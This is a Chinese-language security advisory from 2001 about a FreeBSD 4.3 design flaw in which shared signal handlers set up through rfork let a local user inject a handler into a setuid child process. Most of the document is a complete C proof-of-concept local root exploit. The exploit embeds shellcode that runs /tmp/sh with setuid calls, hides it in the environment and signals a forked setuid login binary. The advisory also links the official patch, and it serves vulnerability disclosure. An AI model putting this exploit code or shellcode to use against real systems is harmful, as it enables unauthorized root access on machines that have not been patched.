FreeBSD 4.3 允许插入信号句柄到其他进程发布时间:2001-07-11 更新时间:2001-07-11 严重程度:高 威胁程度:本地管理员权限 错误类型:设计错误 利用方式:服务器模式 受影响系统 FreeBSD 4.3 和以前的版本详细描述 FreeBSD 4.3 允许插入信号句柄到其他进程,问题存在于共享信号句柄的rfork(RFPROC|RFSIGSHARE) 上,如果SETUID的子进程处理exec(),然后父进程设置一信号句柄,信号句柄在子进程中被复制,信号句柄的地址可能在环境中,在发送一 信号句柄给子进程后我们的信号句柄被执行。 测试代码 -------------vvfreebsd.c---------------------- /* FreeBSD 4.3 local root exploit using shared signals. Written by Georgi Guninski http://www.guninski.com */ #include <stdio.h> #include <signal.h> #include <unistd.h> int vv1; #define MYSIG SIGINT //exec "/tmp/sh", shellcode gotten from the internet and modified unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x50\x50\xb0\xb7\xcd\x80" "\x31\xc0\x50\x50\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53" "\xb0\x3b\x50\xcd\x80\x90\x90\x90"; typedef (*PROG)(); extern char **environ; int main(int ac,char **av) { int pid; //(*(PROG)bsdshell)(); if(!(vv1=getenv("vv"))) { setenv("vv",bsdshell,1); if(!execle(av[0],"vv",NULL,environ)) { perror("weird exec"); exit(1); } } printf("vvfreebsd. Written by Georgi Guninski\n"); printf("shall jump to %x\n",vv1); if(!(pid=rfork(RFPROC|RFSIGSHARE))) { printf("child=%d\n",getpid()); // /usr/bin/login and rlogin work for me. ping gives nonsuid shell // if(!execl("/usr/bin/rlogin","rlogin","localhost",0)) if(!execl("/usr/bin/login","login",0)) { perror("exec setuid failed"); exit(2); }; } sleep(2); signal(MYSIG,(sig_t)vv1); sleep(2); kill(pid,MYSIG); printf("done\n"); while(42); } 解决方案 使用补丁: http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/kern/kern_exec.c.diff? r1=1.107.2.7&r2=1.107.2.8&f=h 相关信息 http://www.guninski.com/ |